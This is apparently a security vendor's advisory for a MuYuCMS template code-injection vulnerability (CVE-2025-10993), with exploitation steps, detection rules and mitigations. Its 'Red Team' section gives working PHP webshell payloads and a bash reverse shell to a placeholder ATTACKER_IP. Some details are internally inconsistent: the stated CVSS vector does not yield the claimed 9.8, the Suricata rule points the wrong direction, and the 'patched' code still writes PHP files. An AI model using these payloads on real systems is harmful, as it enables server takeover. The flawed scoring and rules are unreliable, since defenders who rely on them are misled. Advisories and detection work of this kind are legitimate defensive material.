CVE-2025-10993
Executive Summary
CVE-2025-10993 is a critical code injection vulnerability discovered in MuYuCMS, a content management system, up to version 2.7. The flaw resides in the Template Management functionality, specifically within the /admin.php file. An authenticated attacker (or an attacker who can bypass authentication) can inject arbitrary code into the template system, leading to remote code execution (RCE) on the underlying server. This vulnerability is particularly dangerous because it allows an attacker to gain full control of the CMS, modify content, steal data, or pivot to other internal systems. As of this report, no official patch has been released, and the vendor's status is marked as UNKNOWN/UNPATCHED.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct vulnerability in the MuYuCMS application itself. However, organizations using MuYuCMS should treat this as a critical supply chain risk, as the CMS may be used as a component in larger web applications or managed services.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder or an error in the NVD data. Based on the nature of the vulnerability (code injection leading to RCE), a realistic CVSS v3.1 score would be 9.8 (Critical).
- Attack Vector (AV): Network (N) - The attack can be launched remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - An attacker needs at least low-level admin access to the Template Management feature.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full system compromise likely leads to data exfiltration.
- Integrity (I): High (H) - An attacker can modify templates and inject malicious code.
- Availability (A): High (H) - An attacker can disrupt the CMS or the underlying server.
Threat Level: Critical. The vulnerability is remotely exploitable, has low complexity, and can lead to full system compromise.
Deep Dive & Mechanics
The vulnerability is a classic code injection (CWE-94) flaw in the Template Management component of MuYuCMS. The /admin.php file handles template editing and management. The application fails to properly sanitize or validate user-supplied input when saving or processing template content. An attacker with access to the admin panel can inject arbitrary PHP code (or other server-side code) into a template file.
How it works:
- Authentication: The attacker must first authenticate to the MuYuCMS admin panel. This could be achieved through default credentials, brute-force, or other means.
- Access Template Management: The attacker navigates to the Template Management section, typically found under
/admin.php?c=templateor similar. - Inject Malicious Code: The attacker edits an existing template or creates a new one, inserting malicious PHP code (e.g.,
<?php system($_GET['cmd']); ?>). - Trigger Execution: The attacker saves the template. When the template is rendered (e.g., by visiting a page that uses the template), the injected code is executed by the PHP interpreter.
- Remote Code Execution: The attacker can now execute arbitrary system commands, upload webshells, or perform other malicious actions.
The vulnerability is likely due to the use of eval(), include(), or file_put_contents() with unsanitized input, or a lack of proper escaping when writing template files to disk.
Vulnerable vs. Patched Code
Since no official patch is available, we can only hypothesize about the vulnerable code pattern. A typical vulnerable implementation might look like this:
Vulnerable Code (PHP):
// admin.php - Template Management
$template_content = $_POST['template_content'];
$template_file = 'templates/' . $_POST['template_name'] . '.php';
file_put_contents($template_file, $template_content);
// The template is then included/rendered elsewhere
include($template_file);
Patched Code (Hypothetical):
// admin.php - Template Management
$template_content = $_POST['template_content'];
// Sanitize: Remove PHP tags and dangerous functions
$template_content = preg_replace('/<\?php.*?\?>/is', '', $template_content);
$template_content = htmlspecialchars($template_content, ENT_QUOTES, 'UTF-8');
$template_file = 'templates/' . basename($_POST['template_name']) . '.php';
file_put_contents($template_file, $template_content);
// Use a safe rendering method that does not execute PHP
// e.g., render as plain text or use a template engine that escapes code
The key difference is the lack of input sanitization and the dangerous use of include() on user-controlled content.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: Install MuYuCMS 2.7 on a local server (e.g., using XAMPP or Docker).
- Access: Obtain admin credentials (e.g., admin/admin).
- Exploit:
- Log in to the admin panel.
- Navigate to Template Management (e.g.,
/admin.php?c=template). - Edit an existing template (e.g.,
index.html). - Inject the following PHP code into the template:
<?php system($_GET['cmd']); ?> - Save the template.
- Trigger the exploit by visiting the page that uses the template (e.g., the homepage) with a command parameter:
http://target.com/index.php?cmd=id - The output of the
idcommand will be displayed on the page.
Advanced Exploitation:
- Use a more sophisticated webshell:
<?php if(isset($_GET['cmd'])){ echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; } ?> - For a reverse shell, use:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>
Blue Team (Defensive)
Detection & Response:
- Monitor Admin Logs: Look for unusual activity in the admin panel, especially in the Template Management section.
- File Integrity Monitoring (FIM): Monitor changes to template files in the
templates/directory. Any unexpected modifications should trigger an alert. - Web Application Firewall (WAF): Deploy rules to block requests containing PHP code in POST parameters (e.g.,
template_content). - Input Validation: Ensure that all user input is sanitized and validated before being written to files.
- Least Privilege: Restrict admin access to only trusted users. Use strong, unique passwords and enable multi-factor authentication (MFA).
Indicators of Compromise (IOCs)
- File System:
- Unexpected PHP files in the
templates/directory. - Modified template files containing PHP code (e.g.,
<?php system(...); ?>). - New files with
.phpextension in unexpected locations.
- Unexpected PHP files in the
- Network:
- Outbound connections from the web server to unknown IP addresses (e.g., reverse shell traffic).
- HTTP requests with
cmdorexecparameters in the URL.
- Logs:
- Admin panel login attempts from unusual IP addresses.
- POST requests to
/admin.phpwith large or suspicioustemplate_contentparameters. - Error logs showing PHP parse errors or warnings related to template files.
Detection Engineering
YARA Rule
rule CVE_2025_10993_MuYuCMS_CodeInjection {
meta:
description = "Detects MuYuCMS template files containing injected PHP code"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10993"
severity = "critical"
strings:
$php_tag = "<?php"
$dangerous_func = /system\(|exec\(|shell_exec\(|passthru\(|eval\(/
$template_path = /templates\/.*\.php/
condition:
$php_tag and $dangerous_func and $template_path
}
Sigma Rule
title: MuYuCMS Template Code Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential code injection attempts in MuYuCMS admin panel
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri: '/admin.php'
cs-uri-query: '*c=template*'
cs-username: 'admin'
condition: selection
falsepositives:
- Legitimate template editing by authorized users
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10993 MuYuCMS Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php"; http_uri; content:"c=template"; http_uri; content:"template_content"; http_client_body; pcre:"/<\?php/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Since no official patch is available, the following mitigations are recommended:
- Immediate Action:
- Disable the Template Management feature if not required.
- Remove write permissions from the
templates/directory for the web server user. - Implement strict input validation and sanitization for all admin panel inputs.
- Short-term:
- Upgrade to a patched version of MuYuCMS if/when available.
- Apply a virtual patch using a WAF to block malicious requests.
- Conduct a thorough security audit of the CMS codebase.
- Long-term:
- Migrate to a more secure and actively maintained CMS.
- Implement a robust change management process for template modifications.
- Regularly review and update security policies.
Valters IT
Securing Your Digital Frontier